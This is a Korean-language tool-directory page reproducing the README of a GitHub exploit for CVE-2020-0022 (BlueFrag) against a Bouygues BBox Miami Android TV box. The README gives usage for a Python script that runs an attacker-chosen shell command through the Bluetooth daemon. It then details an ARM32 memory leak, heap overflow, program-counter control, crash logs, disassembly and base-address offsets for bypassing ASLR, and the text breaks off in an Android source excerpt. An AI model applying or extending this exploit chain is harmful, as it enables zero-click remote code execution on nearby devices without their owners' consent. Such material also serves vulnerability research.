Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2020-0022 — CVE-2020-0022 취약점 악용 - Bouygues BBox Miami (Android TV 8.0 - ARM32 Cortex A9) | Kitploit
도구/GitHubGitHub/polo35/cve-2020-0022
Android SecurityBluetooth SecurityMemory ForensicsExploitationShellcodeRemote Access ToolPayload DevelopmentBinary Exploitation
GitHubpolo35/cve-2020-0022

CVE-2020-0022

CVE-2020-0022 취약점 악용 - Bouygues BBox Miami (Android TV 8.0 - ARM32 Cortex A9)

저장소 보기
3713535년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

########################################################################################

Bouygues BBox Miami에서의 CVE-2020-0022 취약점 익스플로잇 Android TV 8.0 - ARM32 Cortex A9 작성자: Polo35 - 2020/08/24

########################################################################################

"Usage: python polo_exploit.py target_bt_mac [target_adb_ip, shell_command, disable_reboot, verbose]"

########################################################################################

Jan Ruge의 스크립트 기반 CVE-2020-0022는 Android 8.0-9.0 Bluetooth 제로클릭 RCE – BlueFrag https://insinuator.net/2020/04/cve-2020-0022-an-android-8-0-9-0-bluetooth-zero-click-rce-bluefrag/

########################################################################################

소개 및 팁

########################################################################################

이 스크립트는 python bluetooth 모듈을 사용하여 ACL 연결 핸들을 얻습니다. 따라서 bluetooth 라이브러리와 pybluez(python2용 버전 0.22, python3용 최신 버전)를 설치해야 합니다.

sudo apt-get update sudo apt-get install bluetooth bluez libbluetooth-dev sudo pip install pybluez

스크립트에 매개변수로 쉘 명령을 전달할 수 있으며, 블루투스 데몬이 system 함수로 실행합니다. ROP 체인이 두 번째 페이로드의 처음 20바이트를 차지하기 때문에 쉘 명령에는 104자만 사용할 수 있습니다.

예시: shell_command = "cat /dev/zero | echo 'Target Exploited' > /sdcard/Download/cve-2020-0022-poc"

스크립트는 adb를 사용하여 연결을 확인하고 logcat을 검사하며 필요에 따라 대상 장치를 재부팅할 수 있습니다. 이를 위해서는 대상 IP를 매개변수로 전달해야 합니다. 스크립트를 사용하기 전에 adb connect로 대상에 연결하고 쉘을 열어 연결을 확인하세요.

가장 좋은 결과는 스크립트가 지시할 때 스마트폰을 통해 블루투스로 대상에 연결함으로써 얻을 수 있습니다 ;) 익스플로잇을 트리거하는 데 30번 이상 시도가 필요할 수 있지만, 때로는 첫 번째 시도에 성공하기도 합니다.

########################################################################################

ARM32를 이용한 메모리 누수

########################################################################################

Bouygues BBox Miami는 ARM 32비트 Cortex A9 프로세서를 기반으로 합니다. ARM64와의 차이점은 libc memcpy 함수가 언더플로우되지 않아 Jan Ruge와 동일한 누수를 얻을 수 없다는 점입니다. 그러나 취약점은 존재하며 다른 방식으로 익스플로잇할 수 있습니다.

4바이트 조각화로 l2cap 패킷을 전송하면 reassemble_and_dispatch에서 길이가 0인 memcpy를 트리거할 수 있습니다. 이를 통해 에코 끝에 초기화되지 않은 4바이트 데이터를 얻을 수 있습니다.

첫 번째 패킷 길이(이하 mem_offset이라고 함)를 늘리면 초기화되지 않은 메모리를 "걸어서" 탐색할 수 있습니다. 동일한 mem_offset으로 32개의 에코를 얻으면 2~8개의 익스플로잇 가능한 에코를 얻을 수 있습니다. 에코는 반복되므로 동일한 mem_offset에서 32개 이상의 에코를 얻을 필요가 없습니다. 이 방법은 또한 패킷으로 메모리를 채우므로 누수에서 패턴을 인식하고 오프셋을 찾기 쉽습니다.

mem_offset은 l2cap 패킷의 문자 길이입니다. 예: mem_offset 184 = 184문자의 l2cap 패킷 = 368바이트의 l2cap 패킷

반복이 있는 메모리 "걷기" 및 초기화되지 않은 데이터의 예:

176: 00000000 01000000 01000000 00000000 00000000 01000000 00000000 00000000 00000000 01000000 01000000 00000000 00000000 01000000 00000000 00000000 ................................................................ 177: 00000000 000000a4 00000024 00000000 00000000 000000a4 00000000 00000000 00000000 000000a4 00000024 00000000 00000000 000000a4 00000000 00000000 ...........$...............................$.................... 178: 00000000 0000a4ce 000024d2 00000000 00000000 0000a4d5 00000000 00000000 00000000 0000a4ce 000024d2 00000000 00000000 0000a4d5 00000000 00000000 ..........$...............................$..................... 179: 00000000 00a4ce80 0024d280 00000000 00000000 00a4d580 00000000 00000000 00000000 00a4ce80 0024d280 00000000 00000000 00a4d580 00000000 00000000 .........$...............................$...................... 180: 00000000 a4ce80a3 24d280a3 00000000 00000000 a4d580a3 00000000 00000000 00000000 a4ce80a3 24d280a3 00000000 00000000 a4d580a3 00000000 00000000 ........$...............................$....................... 181: 00000000 ce80a39c d280a31c 00000000 00000000 d580a39c 00000000 00000000 00000000 ce80a39c d280a31c 00000000 00000000 d580a39c 00000000 00000000 ................................................................ 182: 00000000 80a39cce 80a31cd2 00000000 00000000 80a39cd5 00000000 00000000 00000000 80a39cce 80a31cd2 00000000 00000000 80a39cd5 00000000 00000000 ................................................................ 183: 00000000 a39cce80 a31cd280 00000000 00000000 a39cd580 00000000 00000000 00000000 a39cce80 a31cd280 00000000 00000000 a39cd580 00000000 00000000 ................................................................ 184: 00000000 9cce80a3 1cd280a3 00000000 00000000 9cd580a3 00000000 00000000 00000000 9cce80a3 1cd280a3 00000000 00000000 9cd580a3 00000000 00000000 ................................................................ 185: 00000000 ce80a300 d280a300 00000000 00000000 d580a300 00000000 00000000 00000000 ce80a300 d280a300 00000000 00000000 d580a300 00000000 00000000 ................................................................ 186: 00000000 80a30000 80a30000 00000000 00000000 80a30000 00000000 00000000 00000000 80a30000 80a30000 00000000 00000000 80a30000 00000000 00000000 ................................................................ 187: 00000000 a3000000 a3000000 00000000 00000000 a3000000 00000000 00000000 00000000 a3000000 a3000000 00000000 00000000 a3000000 00000000 00000000 ................................................................ 188: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 ................................................................

mem_offset 180과 184에서 리틀 엔디안의 일부 메모리 주소를 볼 수 있습니다.

a4ce80a3 -> 주소 0xa380cea4 24d280a3 -> 주소 0xa380d224 a4d580a3 -> 주소 0xa380d5a4 9cce80a3 -> 주소 0xa380ce9c 1cd280a3 -> 주소 0xa380d21c 9cd580a3 -> 주소 0xa380d59c

거의 모든 재부팅 후에 실제 메모리 주소를 찾을 수 있는 mem_offset이 적어도 4~5개 있습니다. 이를 어떻게 사용할 수 있는지는 나중에 살펴보겠습니다.

########################################################################################

첫 번째 크래시 분석

########################################################################################

2바이트 조각화로 l2cap 패킷을 전송하면 reassemble_and_dispatch에서 길이가 -2인 memcpy를 트리거할 수 있습니다. 이를 통해 두 번째 패킷의 제어된 30바이트 데이터로 부분 패킷 외부로 오버플로우할 수 있습니다. 복사된 30바이트 덕분에 마지막 4바이트가 null인 32바이트보다 큰 패킷을 보낼 필요가 없습니다.

이 오버플로우 방법은 때때로 _Z11list_appendP6list_tPv+65의 제어된 R0 레지스터로 블루투스 데몬을 충돌시킵니다:

HCI: Found link transmit data buffer queue at 0xab90dbc4 HCI: Found SetDataAdvDataSender function at 0x91875b29 HCI: Found bte_hh_evt function at 0x91818429 HCI: Found bluetooth library base address at 0x917a0000 First payload: 0x00: 0xdead0000 | 0x04: 0xdead0001 | 0x08: 0xdead0002 | 0x0c: 0xdead0003 0x10: 0xdead0004 | 0x14: 0xdead0005 | 0x18: 0xdead0006 | 0x1c: 0xdead0007 Second payload: 0x00 : 0xab90db14: 0xdead0008 | 0xab90db18: 0xdead0009 | 0xab90db1c: 0xdead000a | 0xab90db20: 0xdead000b 0x10 : 0xab90db24: 0xdead000c | 0xab90db28: 0xdead000d | 0xab90db2c: 0xdead000e | 0xab90db30: 0xdead000f 0x20 : 0xab90db34: 0xdead0010 | 0xab90db38: 0xdead0011 | 0xab90db3c: 0xdead0012 | 0xab90db40: 0xdead0013 0x30 : 0xab90db44: 0xdead0014 | 0xab90db48: 0xdead0015 | 0xab90db4c: 0xdead0016 | 0xab90db50: 0xdead0017 0x40 : 0xab90db54: 0xdead0018 | 0xab90db58: 0xdead0019 | 0xab90db5c: 0xdead001a | 0xab90db60: 0xdead001b 0x50 : 0xab90db64: 0xdead001c | 0xab90db68: 0xdead001d | 0xab90db6c: 0xdead001e | 0xab90db70: 0xdead001f 0x60 : 0xab90db74: 0xdead0020 | 0xab90db78: 0xdead0021 | 0xab90db7c: 0xdead0022 | 0xab90db80: 0xdead0023 0x70 : 0xab90db84: 0xdead0024 | 0xab90db88: 0xdead0025 | 0xab90db8c: 0xdead0026 | 0xab90db90: 0xdead0027 0x80 : 0xab90db94: 0xdead0028 | 0xab90db98: 0xdead0029 | 0xab90db9c: 0xdead002a | 0xab90dba0: 0xdead002b 0x90 : 0xab90dba4: 0xdead002c | 0xab90dba8: 0xdead002d | 0xab90dbac: 0xdead002e | 0xab90dbb0: 0xdead002f 0xa0 : 0xab90dbb4: 0xdead0030 | 0xab90dbb8: 0xdead0031 | 0xab90dbbc: 0xdead0032 | 0xab90dbc0: 0xdead0033 0xb0 : 0xab90dbc4: 0xdead0034 | 0xab90dbc8: 0xdead0035 ADB: Found interesting crash !!! libc : Fatal signal 11 (SIGSEGV), code 1, fault addr 0xdead0003 in tid 3918 (bt_workqueue) DEBUG : *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** DEBUG : Build fingerprint: 'BouyguesTelecom/BouygtelTV/HMB4213H:8.0.0/CALIFORNIE/6.30.13:user/release-keys' DEBUG : Revision: '0' DEBUG : ABI: 'arm' DEBUG : pid: 3871, tid: 3918, name: bt_workqueue >>> com.android.bluetooth <<< DEBUG : signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0xdead0003 DEBUG : r0 dead0003 r1 90d13e00 r2 90d13e00 r3 00000000 DEBUG : r4 ab9059f8 r5 90d13e00 r6 00000000 r7 00000000 DEBUG : r8 00000000 r9 904df340 sl 904df338 fp 00000001 DEBUG : ip acf310ec sp 904defd8 lr 918a3131 pc 918c98e2 cpsr a00f0030 DEBUG : DEBUG : backtrace: DEBUG : #00 pc 001298e2 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z11list_appendP6list_tPv+65) DEBUG : #01 pc 0010312d /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z24l2c_link_check_send_pktsP12t_l2c_linkcbP9t_l2c_ccbP6BT_HDR+36) DEBUG : #02 pc 0010298f /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z22l2c_link_hci_conn_comphtPh+78) DEBUG : #03 pc 000e5371 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z22btu_hcif_process_eventhP6BT_HDR+440) DEBUG : #04 pc 000e6607 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z17btu_hci_msg_readyP13fixed_queue_tPv+42) DEBUG : #05 pc 001290df /system/vendor/lib/hw/bluetooth.marvellberlin.so (_ZL22internal_dequeue_readyPv+46) DEBUG : #06 pc 0012b535 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_ZL11run_reactorP9reactor_ti+216) DEBUG : #07 pc 0012b431 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z13reactor_startP9reactor_t+44) DEBUG : #08 pc 0012c729 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_ZL10run_threadPv+136) DEBUG : #09 pc 00047f17 /system/lib/libc.so (_ZL15__pthread_startPv+22) DEBUG : #10 pc 0001b1dd /system/lib/libc.so (__start_thread+32)

001298e2의 디스어셈블리 결과:

.text:0x1298E0 loc_1298E0 ; CODE XREF: list_append:loc_1298CA↑j .text:0x1298E0 LDR R0, [R4,#0x10] => R4+0x10에서 R0 로드 .text:0x1298E2 LDR R1, [R0] => R0에서 R1 로드 => 제어되지 않으면 충돌!!! .text:0x1298E4 MOVS R0, #8 => R0에 8 설정 .text:0x1298E6 BLX R1 => R1로 링크 및 교체 분기 => 제어된 R1으로 분기

디컴파일 결과, 할당자 호출 "node = list->allocator->alloc(8)"에서 R4+0x10 주소의 메모리를 덮어씀을 보여줍니다:

signed int list_append(list_t *list_ptr, void *data_ptr) { list_t *list = list_ptr; // r4 ... list_node_t node = (list_node_t)list->allocator->alloc(sizeof(list_node_t)); <= list = r4 / allocator = offset 0x10 / alloc = r1 / 8 = r0 / 충돌!!! ... node->data = data_ptr; // r5 ... }

데몬은 주소를 로드하려고 할 때 LDR R1, [R0] 명령에서 R0 레지스터 = dead0003으로 충돌했습니다. 첫 번째 페이로드 + 0xC로 R0를 제어할 수 있으므로 유효한 주소를 배치하면 LDR R1, [R0]을 통해 R1을 제어하고 BLX R1을 통해 PC를 제어할 수 있습니다.

########################################################################################

누출된 주소 오버플로우를 통한 프로그램 카운터 제어

########################################################################################

mem_offset 180에서 발견된 첫 번째 메모리 주소로 오버플로우 방법을 사용하면 충돌을 제어된 R1 레지스터로의 분기로 이동시킬 수 있습니다.

HCI: Got ACL connection handle: 0xb
HCI: Getting link transmit data buffer queue pointer... HCI: Found link transmit data buffer queue at 0xa458dbc4 HCI: Getting bluetooth library function pointers... HCI: Found SetDataAdvDataSender function at 0x8a4a3b29 HCI: Found bluetooth library base address at 0x8a3ce000 Building the payloads... First payload: 0x00: 0xdead0000 | 0x04: 0xdead0001 | 0x08: 0xdead0002 | 0x0c: 0xa458dbc4 0x10: 0xdead0003 | 0x14: 0xdead0004 | 0x18: 0xdead0005 | 0x1c: 0xdead0006 Second payload: 0x00 : 0xa458dbc4: 0xdead0007 | 0xa458dbc8: 0xdead0008 | 0xa458dbcc: 0xdead0009 | 0xa458dbd0: 0xdead000a 0x10 : 0xa458dbd4: 0xdead000b | 0xa458dbd8: 0xdead000c | 0xa458dbdc: 0xdead000d | 0xa458dbe0: 0xdead000e 0x20 : 0xa458dbe4: 0xdead000f | 0xa458dbe8: 0xdead0010 | 0xa458dbec: 0xdead0011 | 0xa458dbf0: 0xdead0012 0x30 : 0xa458dbf4: 0xdead0013 | 0xa458dbf8: 0xdead0014 | 0xa458dbfc: 0xdead0015 | 0xa458dc00: 0xdead0016 0x40 : 0xa458dc04: 0xdead0017 | 0xa458dc08: 0xdead0018 | 0xa458dc0c: 0xdead0019 | 0xa458dc10: 0xdead001a 0x50 : 0xa458dc14: 0xdead001b | 0xa458dc18: 0xdead001c | 0xa458dc1c: 0xdead001d | 0xa458dc20: 0xdead001e 0x60 : 0xa458dc24: 0xdead001f | 0xa458dc28: 0xdead0020 | 0xa458dc2c: 0xdead0021 | 0xa458dc30: 0xdead0022 0x70 : 0xa458dc34: 0xdead0023 | 0xa458dc38: 0xdead0024 | 0xa458dc3c: 0xdead0025 | 0xa458dc40: 0xdead0026 0x80 : 0xa458dc44: 0xdead0027 | 0xa458dc48: 0xdead0028 | 0xa458dc4c: 0xdead0029 | 0xa458dc50: 0xdead002a 0x90 : 0xa458dc54: 0xdead002b | 0xa458dc58: 0xdead002c | 0xa458dc5c: 0xdead002d | 0xa458dc60: 0xdead002e 0xa0 : 0xa458dc64: 0xdead002f | 0xa458dc68: 0xdead0030 | 0xa458dc6c: 0xdead0031 | 0xa458dc70: 0xdead0032 0xb0 : 0xa458dc74: 0xdead0033 | 0xa458dc78: 0xdead0034 Prepare to connect to the target via bluetooth with your smartphone HCI: Spraying second payload at 0xa458dbc4 Connect to the target via bluetooth with your smartphone
HCI: Triggering the exploit with first payload... (1/3) ADB: Bluetooth deamon crashed (3/20)
ADB: Found interesting crash !!! 07-20 09:28:01.020 20972 21006 F libc : Fatal signal 11 (SIGSEGV), code 1, fault addr 0xdead0032 in tid 21006 (bt_workqueue) 07-20 09:28:01.123 21061 21061 F DEBUG : *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** 07-20 09:28:01.123 21061 21061 F DEBUG : Build fingerprint: 'BouyguesTelecom/BouygtelTV/HMB4213H:8.0.0/CALIFORNIE/6.30.13:user/release-keys' 07-20 09:28:01.123 21061 21061 F DEBUG : Revision: '0' 07-20 09:28:01.123 21061 21061 F DEBUG : ABI: 'arm' 07-20 09:28:01.123 21061 21061 F DEBUG : pid: 20972, tid: 21006, name: bt_workqueue >>> com.android.bluetooth <<< 07-20 09:28:01.123 21061 21061 F DEBUG : signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0xdead0032 07-20 09:28:01.123 21061 21061 F DEBUG : r0 00000008 r1 dead0033 r2 8970a200 r3 00000000 07-20 09:28:01.123 21061 21061 F DEBUG : r4 a4585c38 r5 8970a200 r6 00000000 r7 00000000 07-20 09:28:01.123 21061 21061 F DEBUG : r8 00000000 r9 891fd340 sl 891fd338 fp 00000001 07-20 09:28:01.124 21061 21061 F DEBUG : ip a66aa0ec sp 891fcfd8 lr 8a4f78e9 pc dead0032 cpsr 200f0030 07-20 09:28:01.228 21061 21061 F DEBUG : 07-20 09:28:01.228 21061 21061 F DEBUG : backtrace: 07-20 09:28:01.228 21061 21061 F DEBUG : #00 pc dead0032 07-20 09:28:01.228 21061 21061 F DEBUG : #01 pc 001298e7 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z11list_appendP6list_tPv+70) 07-20 09:28:01.229 21061 21061 F DEBUG : #02 pc 0010312d /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z24l2c_link_check_send_pktsP12t_l2c_linkcbP9t_l2c_ccbP6BT_HDR+36) 07-20 09:28:01.229 21061 21061 F DEBUG : #03 pc 0010298f /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z22l2c_link_hci_conn_comphtPh+78) 07-20 09:28:01.229 21061 21061 F DEBUG : #04 pc 000e5371 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z22btu_hcif_process_eventhP6BT_HDR+440) 07-20 09:28:01.229 21061 21061 F DEBUG : #05 pc 000e6607 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z17btu_hci_msg_readyP13fixed_queue_tPv+42) 07-20 09:28:01.229 21061 21061 F DEBUG : #06 pc 001290df /system/vendor/lib/hw/bluetooth.marvellberlin.so (_ZL22internal_dequeue_readyPv+46) 07-20 09:28:01.229 21061 21061 F DEBUG : #07 pc 0012b535 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_ZL11run_reactorP9reactor_ti+216) 07-20 09:28:01.229 21061 21061 F DEBUG : #08 pc 0012b431 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z13reactor_startP9reactor_t+44) 07-20 09:28:01.229 21061 21061 F DEBUG : #09 pc 0012c729 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_ZL10run_threadPv+136) 07-20 09:28:01.229 21061 21061 F DEBUG : #10 pc 00047f17 /system/lib/libc.so (_ZL15__pthread_startPv+22) 07-20 09:28:01.229 21061 21061 F DEBUG : #11 pc 0001b1dd /system/lib/libc.so (__start_thread+32)

001298e7의 동일한 디스어셈블리 결과:

.text:0x1298E0 loc_1298E0 ; CODE XREF: list_append:loc_1298CA↑j .text:0x1298E0 LDR R0, [R4,#0x10] => R4+0x10에서 R0 로드 .text:0x1298E2 LDR R1, [R0] => R0에서 R1 로드 => 제어되지 않으면 충돌 .text:0x1298E4 MOVS R0, #8 => R0에 8 설정 .text:0x1298E6 BLX R1 => R1로 링크 및 교체 분기 => 제어된 R1로 분기!!! .text:0x1298E8 MOV R1, R0

데몬은 이제 BLX R1 명령에서 R1 레지스터 = dead0033으로 충돌했습니다. 이것은 mem_offset 184에서 누출을 얻을 때 조각화된 패킷으로 전송된 패턴입니다. 이는 mem_offset 180에서 발견된 첫 번째 메모리 주소로부터 -0xb0 오프셋에 있는 알려진 주소를 가진 두 번째 페이로드가 됩니다.

이제 bluetooth.marvellberlin.so 라이브러리의 PC를 제어할 수 있으며, 데이터가 있는 메모리의 두 번째 위치를 알고 그 주소를 알 수 있습니다.

시그널 이후 레지스터에는 다음이 포함됩니다:

  • R0 = 0x8
  • R1 = 두 번째 페이로드 값 + 0xb0
  • R4 = 첫 번째 페이로드 주소 - 0x4

########################################################################################

블루투스 라이브러리 베이스 주소 얻기

########################################################################################

mem_offset 28의 누출 방법을 사용하여 일부 메모리 주소를 찾을 수 있습니다:0026 : 00002954 74007400 74006600 58a9292b 74006600 74007400 72002e00 58a9292b 00002954 70007000 74007400 58a9292b 74006600 74007400 74006600 58a9292b : ..)Tt.t.t.f.X.)+t.f.t.t.r...X.)+..)Tp.p.t.t.X.)+t.f.t.t.t.f.X.)+ 0027 : 0029546c 00740066 002e0074 a9292b72 00660000 00700066 00740066 a9292b72 0029546c 00740066 00660066 a9292b72 00660000 00740066 002e0074 a9292b72 : .)Tl.t.f...t.)+r.f...p.f.t.f.)+r.)Tl.t.f.f.f.)+r.f...t.f...t.)+r 0028 : 29546c8f 70006600 74006600 292b728f 66000000 74006600 66006600 292b728f 29546c8f 74006600 2e007400 292b728f 66000000 70006600 74006600 292b728f : )Tl.p.f.t.f.)+r.f...t.f.f.f.)+r.)Tl.t.f...t.)+r.f...p.f.t.f.)+r. 0029 : 00660066 00660000 2b728f01 00000000 00660000 00740074 2b728f01 00660066 00660000 00660066 2b728f01 00000000 00660000 00660000 2b728f01 00740074 : .f.f.f..+r.......f...t.t+r...f.f.f...f.f+r.......f...f..+r...t.t 0030 : 66006600 66000000 728f0100 00000000 66000000 66006600 728f0100 74007400 66006600 66000000 728f0100 00000000 66000000 66000000 728f0100 74007400 : f.f.f...r.......f...f.f.r...t.t.f.f.f...r.......f...f...r...t.t.

29546c8f와 292b728f 누수를 확인할 수 있습니다. 이는 리틀 엔디언으로 주소 0x8f6c5429 및 0x8f722b29를 나타냅니다.

오버플로우 방법을 사용하여 해당 주소로 bluetooth.marvellberlin.so의 데몬을 충돌시키면 다음과 같은 크래시 덤프가 발생합니다:

libc : Fatal signal 11 (SIGSEGV), code 1, fault addr 0x10 in tid 4151 (bt_workqueue) DEBUG : *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** DEBUG : Build fingerprint: 'BouyguesTelecom/BouygtelTV/HMB4213H:8.0.0/CALIFORNIE/6.30.13:user/release-keys' DEBUG : Revision: '0' DEBUG : ABI: 'arm' DEBUG : pid: 4107, tid: 4151, name: bt_workqueue >>> com.android.bluetooth <<< DEBUG : signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0x10 DEBUG : Cause: null pointer dereference DEBUG : r0 00000008 r1 8c35db29 r2 8b006300 r3 00000020 DEBUG : r4 a6405578 r5 8b006300 r6 00000020 r7 ff183456 DEBUG : r8 a6405560 r9 00000006 sl 00000002 fp 8affef70 DEBUG : ip 00001e7e sp 8affef60 lr 8c3b18e9 pc 8c35db3c cpsr 200f0030 DEBUG : DEBUG : backtrace: DEBUG : #00 pc 000d5b3c /system/vendor/lib/hw/bluetooth.marvellberlin.so (ZN4base8internal7InvokerINS0_9BindStateIMN12_GLOBAL__N_125BleAdvertisingManagerImplEFvhhhhPhNS_8CallbackIFvhELNS0_8CopyModeE1EEEEJNS0_17UnretainedWrapperIS4_EEbEEEFvhhhS5_S9_EE3RunEPNS0_13BindStateBaseEOhSJ_SJ_OS5_OS9+19) DEBUG : #01 pc 001298e7 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z11list_appendP6list_tPv+70) DEBUG : #02 pc 0010312d /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z24l2c_link_check_send_pktsP12t_l2c_linkcbP9t_l2c_ccbP6BT_HDR+36) DEBUG : #03 pc 0010477f /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z16l2c_rcv_acl_dataP6BT_HDR+2190) DEBUG : #04 pc 001290df /system/vendor/lib/hw/bluetooth.marvellberlin.so (_ZL22internal_dequeue_readyPv+46) DEBUG : #05 pc 0012b535 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_ZL11run_reactorP9reactor_ti+216) DEBUG : #06 pc 0012b431 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z13reactor_startP9reactor_t+44) DEBUG : #07 pc 0012c729 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_ZL10run_threadPv+136) DEBUG : #08 pc 00047f17 /system/lib/libc.so (_ZL15__pthread_startPv+22) DEBUG : #09 pc 0001b1dd /system/lib/libc.so (__start_thread+32)

bluetooth.marvellberlin.so 라이브러리의 .text 섹션 오프셋 000d5b3c에 도달합니다.

.text:0x0D5B28 SetDataAdvDataSender ; DATA XREF: .text:0x0D2B82↑o .text:0x0D5B28 .text:0x0D5B28 PUSH.W {R4-R11,LR} .text:0x0D5B2C SUB SP, SP, #0x1C .text:0x0D5B2E LDR R7, =(off_1A2718 - 0xD5B38) .text:0x0D5B30 ADD.W R11, SP, #0x10 .text:0x0D5B34 ADD R7, PC ; off_1A2718 .text:0x0D5B36 LDR R7, [R7] .text:0x0D5B38 LDR R7, [R7] .text:0x0D5B3A STR R7, [SP,#0x1C-4] .text:0x0D5B3C LDRD.W R10, R7, [R0,#8]

크래시는 함수 시작 직후인 0xd5b3c에서 발생하므로, 발견된 주소는 이 함수를 가리키는 포인터입니다. 이 함수는 btm_ble_multi_adv.cc 파일의 SetData 함수에서 포인터로 사용되는 BleAdvertisingManagerImpl 클래스의 SetDataAdvDataSender입니다.

root@kitploit:~
void SetData(uint8_t inst_id, bool is_scan_rsp, std::vector<uint8_t> data, MultiAdvCb cb) override {
...
DivideAndSendData(inst_id, data, cb, base::Bind(&BleAdvertisingManagerImpl::SetDataAdvDataSender, base::Unretained(this), is_scan_rsp));
}

이제 bluetooth.marvellberlin.so 라이브러리의 고정된 위치 주소를 알게 되었고, 이 라이브러리의 베이스 주소를 계산할 수 있습니다. mem_offset 28에서 찾은 SetDataAdvDataSender 함수 포인터로부터 라이브러리 베이스 주소까지의 실제 오프셋은 0XD5B29입니다.

위의 예시에서 SetDataAdvDataSender 함수를 0X8C35DB29에서 찾았고 이 주소를 오버플로우했습니다. 블루투스 라이브러리 베이스 주소는 0X8C35DB29 - 0XD5B29 = 0X8C288000입니다.

또한 동일한 누출(mem_offset 28)에서 0x8C300429를 가리키는 포인터를 찾았습니다. 두 발견 주소 사이의 오프셋은 0x8C35DB29 - 0x8C300429 = 0x5D700입니다. SetDataAdvDataSender가 블루투스 라이브러리의 0xD5B28에 있음을 알고, 두 번째로 발견된 포인터의 주소는 0xD5B28 - 0x5D700 = 0x78428로 계산할 수 있습니다. 블루투스 라이브러리의 0x78428에는 btif_hh.cc 파일의 btif_hh_service_registration 및 btif_hh_execute_service 함수에서 사용되는 bte_hh_evt 함수가 있습니다.

root@kitploit:~
void btif_hh_service_registration(bool enable) {
...
BTA_HhEnable(BTA_SEC_ENCRYPT, bte_hh_evt);
...
}

bt_status_t btif_hh_execute_service(bool b_enable) {
...
BTA_HhEnable(BTUI_HH_SECURITY, bte_hh_evt);
...
}

mem_offset 28에서 발견된 두 주소는 항상 SetDataAdvDataSender 함수의 경우 0xB29로 끝나고, bte_hh_evt 함수의 경우 0x429로 끝납니다. 이 방법을 사용하면 누출에서 두 알려진 주소 중 하나만 있으면 블루투스 베이스 주소를 찾을 수 있습니다.

요약하면 다음과 같은 방법으로 블루투스 라이브러리 베이스 주소를 찾을 수 있습니다:

  • 0xB29로 끝나는 SetDataAdvDataSender 함수 주소를 찾은 경우 => 0xD5B28 오프셋 적용
  • 0x429로 끝나는 bte_hh_evt 함수 주소를 찾은 경우 => 0x78429 오프셋 적용

########################################################################################

안드로이드 소스 코드를 이용한 크래시 분석

########################################################################################

안드로이드 Oreo 8.1의 소스 코드는 링크 전송 데이터 버퍼 큐 객체 p_lcb->link_xmit_data_q의 일부를 덮어쓰고 있음을 보여줍니다.

l2c_rcv_acl_data 함수는 tL2C_LCB* p_lcb 객체를 생성하고 이를 l2c_link_check_send_pkts 함수에 전달하여 패킷을 link_xmit_data_q 버퍼 큐에 추가합니다.

root@kitploit:~
void l2c_rcv_acl_data(BT_HDR* p_msg) {
...
tL2C_LCB* p_lcb;
...
/* Find the LCB based on the handle */
p_lcb = l2cu_find_lcb_by_handle(handle);
...
/* Send the data through the channel state machine */
if (rcv_cid == L2CAP_SIGNALLING_CID) {
process_l2cap_cmd(p_lcb, p, l2cap_len);
...
}

tL2C_LCB* l2cu_find_lcb_by_handle(uint16_t handle) {
...
tL2C_LCB* p_lcb = &l2cb.lcb_pool[0];

for (xx = 0; xx < MAX_L2CAP_LINKS; xx++, p_lcb++) {
if ((p_lcb->in_use) && (p_lcb->handle == handle)) {
return (p_lcb);
}
}
...
}

p_lcb는 l2c_main.cc에 정의된 정적 l2cb.lcb_pool[0] 객체에서 가져옵니다.

root@kitploit:~
/******************************************************************************/
/*               G L O B A L      L 2 C A P       D A T A                     */
/******************************************************************************/
tL2C_CB l2cb;
root@kitploit:~
static void process_l2cap_cmd(tL2C_LCB* p_lcb, uint8_t* p, uint16_t pkt_len) {
...
case L2CAP_CMD_ECHO_REQ:
l2cu_send_peer_echo_rsp(p_lcb, id, p, cmd_len);
...
}

void l2cu_send_peer_echo_rsp(tL2C_LCB* p_lcb, uint8_t id, uint8_t* p_data, uint16_t data_len) {
...
p_buf = l2cu_build_header(p_lcb, (uint16_t)(L2CAP_ECHO_RSP_LEN + data_len), L2CAP_CMD_ECHO_RSP, id);
...
l2c_link_check_send_pkts(p_lcb, NULL, p_buf);
}


void l2c_link_check_send_pkts(tL2C_LCB* p_lcb, tL2C_CCB* p_ccb, BT_HDR* p_buf) {
...
list_append(p_lcb->link_xmit_data_q, p_buf);
...
}

bool list_append(list_t* list, void* data) {
...
